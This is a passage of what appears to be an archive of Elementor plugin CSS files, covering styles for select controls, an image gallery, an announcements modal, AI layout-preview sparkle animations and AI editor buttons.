input.pcr-type{all:unset;font-size:10px;color:var(--e-a-color-txt-muted);padding-inline-start:5px;cursor:pointer}.pcr-app .pcr-interaction input.pcr-type.active{background-color:transparent;color:var(--e-a-color-txt-accent)}.pcr-interaction,.pcr-selection{padding:0 20px}.pcr-selection{padding-block-start:20px}.pcr .elementor-control-dynamic-switcher{height:20px;border:0}.select2-container{width:100%!important;outline:none;z-index:9999;font-size:12px}.select2-container .e-select2-placeholder{color:var(--e-a-color-txt-muted)}.select2-container.select2-container--default .select2-selection--single{height:27px;background-color:transparent}.select2-container.select2-container--default .select2-selection--single .select2-selection__rendered{color:var(--e-a-color-txt);line-height:27px}.select2-container.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.select2-container.select2-container--default .select2-selection--multiple{background-color:var(--e-a-bg-default);min-height:27px;line-height:0}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__clear{display:none}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);line-height:1.2;font-size:10px;border:none;border-radius:0;padding:2px 3px}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice.select2-selection__e-plus-button{cursor:pointer;width:16.67px;text-indent:-9999px;position:relative}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice.select2-selection__e-plus-button:after{content:"\e815";font-family:eicons;color:var(--e-a-btn-color-invert);text-indent:0;position:absolute;left:0;top:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__rendered{padding-block-end:5px}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:var(--e-a-btn-color-invert);margin-inline-end:3px}.select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--multiple,.select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--single{background-color:var(--e-a-bg-default);color:var(--e-a-color-txt);border-color:var(--e-a-border-color)}.select2-container.select2-container--focus .select2-selection--multiple,.select2-container.select2-container--focus .select2-selection--single,.select2-container.select2-container--open .select2-selection--multiple,.select2-container.select2-container--open .select2-selection--single{border-color:var(--e-a-border-color-bold)}.select2-selection{outline:none}.select2-selection--single{height:27px}.select2-selection__arrow{height:27px;top:0}.select2-results__option[aria-selected=true]{background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-active)}.select2-results__option[aria-selected=true]:not(.select2-results__option--highlighted){background-color:var(--e-a-bg-active)}.select2-dropdown{border-color:var(--e-a-border-color);background-color:var(--e-a-bg-default);color:var(--e-a-color-txt);box-shadow:var(--e-a-dropdown-shadow)}.select2-dropdown .select2-search__field{outline:none}.e-ui-state--document-scrubbing-mode__on,.e-ui-state--document-scrubbing-mode__on *{cursor:ew-resize}.e-ui-state--document-scrubbing-mode__on input.e-scrubbing--active,.e-ui-state--document-scrubbing-mode__on input.e-scrubbing--active:focus{box-shadow:inset 0 0 0 1px #0e3b9c}.e-ui-state--document-scrubbing-mode__on label.e-scrubbing--active{color:#0e3b9c;-webkit-user-select:none;-moz-user-select:none;user-select:none}.e-ui-state--document-scrubbing-mode__on iframe{pointer-events:none}label.e-scrubbing-over{cursor:ew-resize}#elementor-paste-area-dialog{text-align:center}#elementor-paste-area-dialog .dialog-header{padding-block-start:60px;font-size:30px}#elementor-paste-area-dialog .dialog-message{padding:0 15px 15px;font-size:15px;position:relative}#elementor-paste-area-dialog #elementor-paste-area-dialog__input{background:transparent;color:transparent;border-color:transparent;padding:0;margin:0;height:100px;position:absolute;top:-60px;left:0;right:0}#elementor-paste-area-dialog #elementor-paste-area-dialog__input:focus{border-color:transparent;outline:none}#elementor-paste-area-dialog .dialog-widget-content{width:400px}#elementor-paste-area-dialog .dialog-widget-content .eicon-loading{display:none}#elementor-paste-area-dialog .dialog-widget-content.e-state-loading .eicon-loading{display:block;margin-block-start:15px}#elementor-paste-area-dialog #elementor-paste-area-dialog__error{color:var(--e-a-color-danger);font-size:12px}#elementor-paste-area-dialog #elementor-paste-area-dialog__error:before{content:"";border-block-start:var(--e-a-border);display:block;margin:10px -15px}[class*=" eicon-flex"],[class^=eicon-flex]{transition:all .3s;--is-ltr:1;--is-rtl:0;--rotation-direction:calc(var(--is-ltr) - var(--is-rtl));--is-ltr:0;--is-rtl:1}[class*=" eicon-flex"].eicon-inline,[class^=eicon-flex].eicon-inline{max-height:1em;max-width:1em}[class*=" eicon-flex"]:is(.eicon-justify-start-h,.eicon-justify-end-h),[class^=eicon-flex]:is(.eicon-justify-start-h,.eicon-justify-end-h){--rotation-direction:calc(var(--is-ltr) + var(--is-rtl))}:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow),:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow){transform:rotate(calc(var(--rotation-direction) * 90deg))}.e-ui-state--document-direction-mode__column-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),.e-ui-state--document-direction-mode__column-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v,.eicon-align-end-v),:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v,.eicon-align-end-v){transform:rotate(calc(var(--rotation-direction) * -90deg))}.e-ui-state--document-direction-mode__row [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),.e-ui-state--document-direction-mode__row [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end){transform:rotate(calc(var(--is-rtl) * 180deg))}.e-ui-state--document-direction-mode__row-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),.e-ui-state--document-direction-mode__row-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end){transform:rotate(calc(var(--is-ltr) * 180deg))}assets/css/widget-image-gallery.min.css000064400000004633147206604650014152 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-image-gallery .gallery-item{display:inline-block;text-align:center;vertical-align:top;width:100%;max-width:100%;margin:0 auto}.elementor-image-gallery .gallery-item img{margin:0 auto}.elementor-image-gallery .gallery-item .gallery-caption{margin:0}.elementor-image-gallery figure img{display:block}.elementor-image-gallery figure figcaption{width:100%}.gallery-spacing-custom .elementor-image-gallery .gallery-icon{padding:0}@media (min-width:768px){.elementor-image-gallery .gallery-columns-2 .gallery-item{max-width:50%}.elementor-image-gallery .gallery-columns-3 .gallery-item{max-width:33.33%}.elementor-image-gallery .gallery-columns-4 .gallery-item{max-width:25%}.elementor-image-gallery .gallery-columns-5 .gallery-item{max-width:20%}.elementor-image-gallery .gallery-columns-6 .gallery-item{max-width:16.666%}.elementor-image-gallery .gallery-columns-7 .gallery-item{max-width:14.28%}.elementor-image-gallery .gallery-columns-8 .gallery-item{max-width:12.5%}.elementor-image-gallery .gallery-columns-9 .gallery-item{max-width:11.11%}.elementor-image-gallery .gallery-columns-10 .gallery-item{max-width:10%}}@media (min-width:480px) and (max-width:767px){.elementor-image-gallery .gallery.gallery-columns-2 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-3 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-4 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-5 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-6 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-7 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-8 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-9 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-10 .gallery-item{max-width:50%}}@media (max-width:479px){.elementor-image-gallery .gallery.gallery-columns-2 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-3 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-4 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-5 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-6 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-7 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-8 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-9 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-10 .gallery-item{max-width:100%}}assets/css/modules/announcements/announcements.css000064400000010166147206604650016570 0ustar00#e-announcements-root { position: fixed; display: flex; top: 0; left: 0; width: 100%; height: 100%; align-items: center; justify-content: center; color: var(--e-a-color-txt); font-family: Roboto, Arial, Helvetica, sans-serif; z-index: 9998; } #e-announcements-root .announcements-container { width: 640px; max-width: 100%; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); z-index: 9998; } #e-announcements-root .announcements-container .announcements-heading-container { display: flex; align-items: center; padding: 16px 32px; border-block-end: var(--e-a-border); } #e-announcements-root .announcements-container .announcements-heading-container .eicon-elementor { color: var(--e-a-color-logo); background-color: var(--e-a-bg-logo); border-radius: 50%; padding: 8px; } #e-announcements-root .announcements-container .announcements-heading-container .heading-title { margin-inline-start: 12px; text-transform: uppercase; font-weight: 700; color: var(--e-a-color-txt-active); } #e-announcements-root .announcements-container .announcements-heading-container .close-button { margin-inline-start: auto; background: none; color: inherit; border: none; padding: 0; font: inherit; cursor: pointer; outline: inherit; } #e-announcements-root .announcements-container .announcements-heading-container .close-button:hover { color: var(--e-a-color-txt-hover); } #e-announcements-root .announcements-container .announcement-body-container .announcement-body-media img { width: 100%; max-height: 360px; object-fit: contain; } #e-announcements-root .announcements-container .announcement-body-container .announcement-body-content { padding: 30px; } #e-announcements-root .announcements-container .announcement-body-container .announcement-body-content .announcement-body-title { font-size: 18px; font-weight: 700; color: var(--e-a-color-txt-accent); padding-block-end: 15px; } #e-announcements-root .announcements-container .announcement-body-container .announcement-body-content .announcement-body-description { font-size: 16px; line-height: 24px; font-weight: 400; color: var(--e-a-color-txt); } #e-announcements-root .announcements-container .announcement-body-container .announcement-body-content p { margin-block-end: 15px; } #e-announcements-root .announcements-container .announcement-body-container .announcement-body-content ul { margin-inline-start: 20px; margin-block-end: 15px; } #e-announcements-root .announcements-container .announcement-body-container .announcement-body-content li { list-style: disc; margin-block-end: 5px; } #e-announcements-root .announcements-container .announcement-footer-container { display: flex; flex-direction: row-reverse; padding: 12px 32px 32px; } #e-announcements-root .announcements-container .announcement-footer-container .button-item { margin-inline-start: 12px; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); transition: var(--e-a-transition-hover); background: transparent; color: var(--e-a-color-txt); cursor: pointer; } #e-announcements-root .announcements-container .announcement-footer-container .button-item:hover { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } #e-announcements-root .announcements-container .announcement-footer-container .button-item:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } #e-announcements-root .announcements-container .announcement-footer-container .button-item.primary { background-color: var(--e-a-btn-bg-accent); color: var(--e-a-btn-color-invert); } #e-announcements-root .announcements-container .announcement-footer-container .button-item.primary:hover { background-color: var(--e-a-btn-bg-accent-hover); } #e-announcements-root .announcements-container .announcement-footer-container .button-item.primary:active { background-color: var(--e-a-btn-bg-accent-active); } #e-announcements-root .announcements-screen-overlay { position: fixed; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.6); } /*# sourceMappingURL=announcements.css.map */assets/css/modules/announcements/announcements.min.css000064400000007307147206604650017355 0ustar00#e-announcements-root{position:fixed;display:flex;top:0;left:0;width:100%;height:100%;align-items:center;justify-content:center;color:var(--e-a-color-txt);font-family:Roboto,Arial,Helvetica,sans-serif;z-index:9998}#e-announcements-root .announcements-container{width:640px;max-width:100%;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);z-index:9998}#e-announcements-root .announcements-container .announcements-heading-container{display:flex;align-items:center;padding:16px 32px;border-block-end:var(--e-a-border)}#e-announcements-root .announcements-container .announcements-heading-container .eicon-elementor{color:var(--e-a-color-logo);background-color:var(--e-a-bg-logo);border-radius:50%;padding:8px}#e-announcements-root .announcements-container .announcements-heading-container .heading-title{margin-inline-start:12px;text-transform:uppercase;font-weight:700;color:var(--e-a-color-txt-active)}#e-announcements-root .announcements-container .announcements-heading-container .close-button{margin-inline-start:auto;background:none;color:inherit;border:none;padding:0;font:inherit;cursor:pointer;outline:inherit}#e-announcements-root .announcements-container .announcements-heading-container .close-button:hover{color:var(--e-a-color-txt-hover)}#e-announcements-root .announcements-container .announcement-body-container .announcement-body-media img{width:100%;max-height:360px;-o-object-fit:contain;object-fit:contain}#e-announcements-root .announcements-container .announcement-body-container .announcement-body-content{padding:30px}#e-announcements-root .announcements-container .announcement-body-container .announcement-body-content .announcement-body-title{font-size:18px;font-weight:700;color:var(--e-a-color-txt-accent);padding-block-end:15px}#e-announcements-root .announcements-container .announcement-body-container .announcement-body-content .announcement-body-description{font-size:16px;line-height:24px;font-weight:400;color:var(--e-a-color-txt)}#e-announcements-root .announcements-container .announcement-body-container .announcement-body-content p{margin-block-end:15px}#e-announcements-root .announcements-container .announcement-body-container .announcement-body-content ul{margin-inline-start:20px;margin-block-end:15px}#e-announcements-root .announcements-container .announcement-body-container .announcement-body-content li{list-style:disc;margin-block-end:5px}#e-announcements-root .announcements-container .announcement-footer-container{display:flex;flex-direction:row-reverse;padding:12px 32px 32px}#e-announcements-root .announcements-container .announcement-footer-container .button-item{margin-inline-start:12px;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);transition:var(--e-a-transition-hover);background:transparent;color:var(--e-a-color-txt);cursor:pointer}#e-announcements-root .announcements-container .announcement-footer-container .button-item:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}#e-announcements-root .announcements-container .announcement-footer-container .button-item:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}#e-announcements-root .announcements-container .announcement-footer-container .button-item.primary{background-color:var(--e-a-btn-bg-accent);color:var(--e-a-btn-color-invert)}#e-announcements-root .announcements-container .announcement-footer-container .button-item.primary:hover{background-color:var(--e-a-btn-bg-accent-hover)}#e-announcements-root .announcements-container .announcement-footer-container .button-item.primary:active{background-color:var(--e-a-btn-bg-accent-active)}#e-announcements-root .announcements-screen-overlay{position:fixed;width:100%;height:100%;background-color:rgba(0,0,0,.6)}assets/css/modules/ai/layout-preview.min.css000064400000010006147206604650015176 0ustar00[data-id^=e-ai-preview-container]{outline:2px solid var(--e-p-border-con);outline-offset:-2px}[data-id^=e-ai-screenshot-container],[data-id^=e-ai-screenshot-container] *{animation-duration:0s!important;animation-iteration-count:1!important;transition-duration:0s!important}.e-ai-preview-container--idle{height:154px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg width='80' height='80' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M60.834 10.833a2.5 2.5 0 012.5 2.5 4.167 4.167 0 004.167 4.167 2.5 2.5 0 010 5 4.167 4.167 0 00-4.167 4.166 2.5 2.5 0 11-5 0 4.167 4.167 0 00-4.167-4.166 2.5 2.5 0 010-5 4.167 4.167 0 004.167-4.167 2.5 2.5 0 012.5-2.5zm0 8.792a8.722 8.722 0 01-.375.375 8.956 8.956 0 01.375.375 9.459 9.459 0 01.375-.375 9.464 9.464 0 01-.375-.375zm-30-2.125a2.5 2.5 0 012.5 2.5 17.5 17.5 0 0017.5 17.5 2.5 2.5 0 010 5 17.5 17.5 0 00-17.5 17.5 2.5 2.5 0 01-5 0 17.5 17.5 0 00-17.5-17.5 2.5 2.5 0 110-5 17.5 17.5 0 0017.5-17.5 2.5 2.5 0 012.5-2.5zm0 12.808A22.494 22.494 0 0121.142 40a22.491 22.491 0 019.692 9.692A22.491 22.491 0 0140.526 40a22.494 22.494 0 01-9.692-9.692zm30 20.525a2.5 2.5 0 012.5 2.5 4.167 4.167 0 004.167 4.167 2.5 2.5 0 010 5 4.167 4.167 0 00-4.167 4.166 2.5 2.5 0 11-5 0 4.167 4.167 0 00-4.167-4.166 2.5 2.5 0 010-5 4.167 4.167 0 004.167-4.167 2.5 2.5 0 012.5-2.5zm0 8.791a8.722 8.722 0 01-.375.376 8.956 8.956 0 01.375.375 9.459 9.459 0 01.375-.375 9.464 9.464 0 01-.375-.376z' fill='%23BABFC5' opacity='.4'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:80px auto}.e-ai-preview-container--hidden,.e-ai-preview-container--idle>*{display:none!important}.e-ai-layout-button{position:relative}.e-ai-layout-button--sparkle{--animation-duration:1.5s;--opacity:.2;--size:6px;position:absolute;z-index:99999;display:block;height:var(--size);aspect-ratio:1;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg width='6' height='6' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M3 .25a.75.75 0 01.693.463L4.16 1.84l1.127.467a.75.75 0 010 1.386L4.16 4.16l-.467 1.127a.75.75 0 01-1.386 0L1.84 4.16.713 3.693a.75.75 0 010-1.386L1.84 1.84 2.307.713A.75.75 0 013 .25z' fill='%230c0d0e'/%3E%3C/svg%3E");background-size:cover;opacity:0}.e-ai-layout-button--sparkle:first-child,.e-ai-layout-button--sparkle:nth-child(2),.e-ai-layout-button--sparkle:nth-child(3){right:12px;top:12px}.e-ai-layout-button--sparkle:nth-child(4),.e-ai-layout-button--sparkle:nth-child(5),.e-ai-layout-button--sparkle:nth-child(6),.e-ai-layout-button--sparkle:nth-child(7){right:12px;top:22px}.e-ai-layout-button--sparkle:first-child{--opacity:.3;--size:4px;--animation-name:sparkle-1}.e-ai-layout-button--sparkle:nth-child(2){--opacity:.3;--size:4px;--animation-delay:.7s;--animation-name:sparkle-2}.e-ai-layout-button--sparkle:nth-child(3){--animation-delay:3.5s;--animation-name:sparkle-3}.e-ai-layout-button--sparkle:nth-child(4){--animation-delay:.5s;--animation-name:sparkle-4}.e-ai-layout-button--sparkle:nth-child(5){--animation-delay:1.5s;--animation-name:sparkle-5}.e-ai-layout-button--sparkle:nth-child(6){--animation-delay:2.5s;--animation-name:sparkle-6}.e-ai-layout-button--sparkle:nth-child(7){--opacity:.3;--animation-delay:.7s;--animation-name:sparkle-7}.e-ai-layout-button:hover .e-ai-layout-button--sparkle{--timing:cubic-bezier(0,1.18,.96,.75);animation:var(--animation-name) var(--animation-duration) var(--animation-delay,0s) var(--timing) infinite both,sparkle-opacity var(--animation-duration) var(--animation-delay,0s) var(--timing) infinite both}@keyframes sparkle-opacity{50%{opacity:var(--opacity)}to{opacity:0}}@keyframes sparkle-1{to{transform:translate(16px,-12px)}}@keyframes sparkle-2{to{transform:translate(16px,12px)}}@keyframes sparkle-3{to{transform:translate(12px,8px)}}@keyframes sparkle-4{to{transform:translate(16px,16px)}}@keyframes sparkle-5{to{transform:translate(12px,16px)}}@keyframes sparkle-6{to{transform:translate(-8px,-24px)}}@keyframes sparkle-7{to{transform:translate(-20px,16px)}}assets/css/modules/ai/layout-preview.css000064400000016407147206604650014427 0ustar00[data-id^=e-ai-preview-container] { outline: 2px solid var(--e-p-border-con); outline-offset: -2px; } [data-id^=e-ai-screenshot-container], [data-id^=e-ai-screenshot-container] * { animation-duration: 0s !important; animation-iteration-count: 1 !important; transition-duration: 0s !important; } .e-ai-preview-container--idle { height: 154px; background-image: url("data:image/svg+xml,%3Csvg width='80' height='80' viewBox='0 0 80 80' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cg opacity='0.4'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M60.834 10.833C62.2147 10.833 63.334 11.9523 63.334 13.333C63.334 14.4381 63.773 15.4979 64.5544 16.2793C65.3358 17.0607 66.3956 17.4997 67.5007 17.4997C68.8814 17.4997 70.0007 18.619 70.0007 19.9997C70.0007 21.3804 68.8814 22.4997 67.5007 22.4997C66.3956 22.4997 65.3358 22.9387 64.5544 23.7201C63.773 24.5015 63.334 25.5613 63.334 26.6663C63.334 28.0471 62.2147 29.1663 60.834 29.1663C59.4533 29.1663 58.334 28.0471 58.334 26.6663C58.334 25.5613 57.895 24.5015 57.1136 23.7201C56.3322 22.9387 55.2724 22.4997 54.1673 22.4997C52.7866 22.4997 51.6673 21.3804 51.6673 19.9997C51.6673 18.619 52.7866 17.4997 54.1673 17.4997C55.2724 17.4997 56.3322 17.0607 57.1136 16.2793C57.895 15.4979 58.334 14.4381 58.334 13.333C58.334 11.9523 59.4533 10.833 60.834 10.833ZM60.834 19.6245C60.7734 19.6888 60.7118 19.7522 60.6491 19.8148C60.5865 19.8774 60.5231 19.9391 60.4588 19.9997C60.5231 20.0603 60.5865 20.1219 60.6491 20.1845C60.7118 20.2472 60.7734 20.3106 60.834 20.3748C60.8946 20.3106 60.9562 20.2472 61.0188 20.1845C61.0815 20.1219 61.1449 20.0603 61.2091 19.9997C61.1449 19.9391 61.0815 19.8774 61.0188 19.8148C60.9562 19.7522 60.8946 19.6888 60.834 19.6245ZM30.834 17.4997C32.2147 17.4997 33.334 18.619 33.334 19.9997C33.334 24.641 35.1777 29.0922 38.4596 32.374C41.7415 35.6559 46.1927 37.4997 50.834 37.4997C52.2147 37.4997 53.334 38.619 53.334 39.9997C53.334 41.3804 52.2147 42.4997 50.834 42.4997C46.1927 42.4997 41.7415 44.3434 38.4596 47.6253C35.1777 50.9072 33.334 55.3584 33.334 59.9997C33.334 61.3804 32.2147 62.4997 30.834 62.4997C29.4533 62.4997 28.334 61.3804 28.334 59.9997C28.334 55.3584 26.4902 50.9072 23.2084 47.6253C19.9265 44.3434 15.4753 42.4997 10.834 42.4997C9.45327 42.4997 8.33398 41.3804 8.33398 39.9997C8.33398 38.619 9.45327 37.4997 10.834 37.4997C15.4753 37.4997 19.9265 35.6559 23.2084 32.374C26.4902 29.0922 28.334 24.641 28.334 19.9997C28.334 18.619 29.4533 17.4997 30.834 17.4997ZM30.834 30.3075C29.778 32.3565 28.4041 34.2494 26.7439 35.9096C25.0837 37.5698 23.1908 38.9437 21.1418 39.9997C23.1908 41.0556 25.0837 42.4296 26.7439 44.0898C28.4041 45.75 29.778 47.6429 30.834 49.6919C31.8899 47.6429 33.2639 45.75 34.9241 44.0898C36.5843 42.4296 38.4772 41.0556 40.5262 39.9997C38.4772 38.9437 36.5843 37.5698 34.9241 35.9096C33.2639 34.2494 31.8899 32.3565 30.834 30.3075ZM60.834 50.833C62.2147 50.833 63.334 51.9523 63.334 53.333C63.334 54.4381 63.773 55.4979 64.5544 56.2793C65.3358 57.0607 66.3956 57.4997 67.5007 57.4997C68.8814 57.4997 70.0007 58.619 70.0007 59.9997C70.0007 61.3804 68.8814 62.4997 67.5007 62.4997C66.3956 62.4997 65.3358 62.9387 64.5544 63.7201C63.773 64.5015 63.334 65.5613 63.334 66.6663C63.334 68.0471 62.2147 69.1663 60.834 69.1663C59.4533 69.1663 58.334 68.0471 58.334 66.6663C58.334 65.5613 57.895 64.5015 57.1136 63.7201C56.3322 62.9387 55.2724 62.4997 54.1673 62.4997C52.7866 62.4997 51.6673 61.3804 51.6673 59.9997C51.6673 58.619 52.7866 57.4997 54.1673 57.4997C55.2724 57.4997 56.3322 57.0607 57.1136 56.2793C57.895 55.4979 58.334 54.4381 58.334 53.333C58.334 51.9523 59.4533 50.833 60.834 50.833ZM60.834 59.6245C60.7734 59.6888 60.7118 59.7522 60.6491 59.8148C60.5865 59.8774 60.5231 59.9391 60.4588 59.9997C60.5231 60.0603 60.5865 60.1219 60.6491 60.1845C60.7118 60.2472 60.7734 60.3106 60.834 60.3748C60.8946 60.3106 60.9562 60.2472 61.0188 60.1845C61.0815 60.1219 61.1449 60.0603 61.2091 59.9997C61.1449 59.9391 61.0815 59.8774 61.0188 59.8148C60.9562 59.7522 60.8946 59.6888 60.834 59.6245Z' fill='%23BABFC5'/%3E%3C/g%3E%3C/svg%3E"); background-position: center center; background-repeat: no-repeat; background-size: 80px auto; } .e-ai-preview-container--idle > * { display: none !important; } .e-ai-preview-container--hidden { display: none !important; } .e-ai-layout-button { position: relative; } .e-ai-layout-button--sparkle { --animation-duration: 1.5s; --opacity: .2; --size: 6px; position: absolute; z-index: 99999; display: block; height: var(--size); aspect-ratio: 1; background-image: url("data:image/svg+xml,%3Csvg width='6' height='6' viewBox='0 0 6 6' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M3 0.25C3.30335 0.25 3.57682 0.432732 3.69291 0.712987L4.15981 1.84019L5.28701 2.30709C5.56727 2.42318 5.75 2.69665 5.75 3C5.75 3.30335 5.56727 3.57682 5.28701 3.69291L4.15981 4.15981L3.69291 5.28701C3.57682 5.56727 3.30335 5.75 3 5.75C2.69665 5.75 2.42318 5.56727 2.30709 5.28701L1.84019 4.15981L0.712987 3.69291C0.432732 3.57682 0.25 3.30335 0.25 3C0.25 2.69665 0.432732 2.42318 0.712987 2.30709L1.84019 1.84019L2.30709 0.712987C2.42318 0.432732 2.69665 0.25 3 0.25Z' fill='%230c0d0e'/%3E%3C/svg%3E%0A"); background-size: cover; opacity: 0; } .e-ai-layout-button--sparkle:nth-child(1), .e-ai-layout-button--sparkle:nth-child(2), .e-ai-layout-button--sparkle:nth-child(3) { right: 12px; top: 12px; } .e-ai-layout-button--sparkle:nth-child(4), .e-ai-layout-button--sparkle:nth-child(5), .e-ai-layout-button--sparkle:nth-child(6), .e-ai-layout-button--sparkle:nth-child(7) { right: 12px; top: 22px; } .e-ai-layout-button--sparkle:nth-child(1) { --opacity: .3; --size: 4px; --animation-name: sparkle-1; } .e-ai-layout-button--sparkle:nth-child(2) { --opacity: .3; --size: 4px; --animation-delay: .7s; --animation-name: sparkle-2; } .e-ai-layout-button--sparkle:nth-child(3) { --animation-delay: 3.5s; --animation-name: sparkle-3; } .e-ai-layout-button--sparkle:nth-child(4) { --animation-delay: .5s; --animation-name: sparkle-4; } .e-ai-layout-button--sparkle:nth-child(5) { --animation-delay: 1.5s; --animation-name: sparkle-5; } .e-ai-layout-button--sparkle:nth-child(6) { --animation-delay: 2.5s; --animation-name: sparkle-6; } .e-ai-layout-button--sparkle:nth-child(7) { --opacity: .3; --animation-delay: .7s; --animation-name: sparkle-7; } .e-ai-layout-button:hover .e-ai-layout-button--sparkle { --timing: cubic-bezier( 0, 1.18, .96, .75 ); animation: var(--animation-name) var(--animation-duration) var(--animation-delay, 0s) var(--timing) infinite both, sparkle-opacity var(--animation-duration) var(--animation-delay, 0s) var(--timing) infinite both; } @keyframes sparkle-opacity { 50% { opacity: var(--opacity); } 100% { opacity: 0; } } @keyframes sparkle-1 { 100% { transform: translate(16px, -12px); } } @keyframes sparkle-2 { 100% { transform: translate(16px, 12px); } } @keyframes sparkle-3 { 100% { transform: translate(12px, 8px); } } @keyframes sparkle-4 { 100% { transform: translate(16px, 16px); } } @keyframes sparkle-5 { 100% { transform: translate(12px, 16px); } } @keyframes sparkle-6 { 100% { transform: translate(-8px, -24px); } } @keyframes sparkle-7 { 100% { transform: translate(-20px, 16px); } } /*# sourceMappingURL=layout-preview.css.map */assets/css/modules/ai/editor.min.css000064400000001265147206604650013477 0ustar00.e-ai-button{background:none;border:none;font-size:var(--control-title-size);cursor:pointer;transition:var(--e-a-transition-hover)}.e-ai-button:not(.e-active){color:var(--e-a-color-primary-bold)}.e-ai-button:hover{color:#e73cf6}.e-ai-promotion{font-size:var(--control-title-size)}.e-ai-promotion i{margin-inline-end:5px}.elementor-label-block .e-ai-button,.elementor-label-block .e-ai-promotion{margin-inline-start:auto}.elementor-context-menu-list__item__ai-badge{background-color:#524cff;border-radius:25px;display:flex;justify-content:center;padding:4px}.elementor-context-menu-list__item__ai-badge svg{width:12px;height:12px}.elementor-context-menu-list__item__ai-badge svg path{fill:#fff}assets/css/modules/ai/editor.css000064400000001517147206604650012715 0ustar00.e-ai-button { background: none; border: none; font-size: var(--control-title-size); cursor: pointer; transition: var(--e-a-transition-hover); } .e-ai-button:not(.e-active) { color: var(--e-a-color-primary-bold); } .e-ai-button:hover { color: #E73CF6; } .e-ai-promotion { font-size: var(--control-title-size); } .e-ai-promotion i { margin-inline-end: 5px; } .elementor-label-block .e-ai-promotion, .elementor-label-block .e-ai-button { margin-inline-start: auto; } .elementor-context-menu-list__item__ai-badge { background-color: #524CFF; border-radius: 25px; display: flex; justify-content: center; padding: 4px; } .elementor-context-menu-list__item__ai-badge svg { width: 12px; height: 12px; } .elementor-context-menu-list__item__ai-badge svg path { fill: #ffffff; } /*# sourceMappingURL=editor.css.map */assets/css/modules/apps/admin.min.css000064400000003166147206604650013655 0ustar00body.elementor-apps-page{background:var(--e-a-color-white)}.e-a-apps .e-a-page-title{margin:30px auto 60px;max-width:770px;text-align:center}.e-a-apps .e-a-page-title 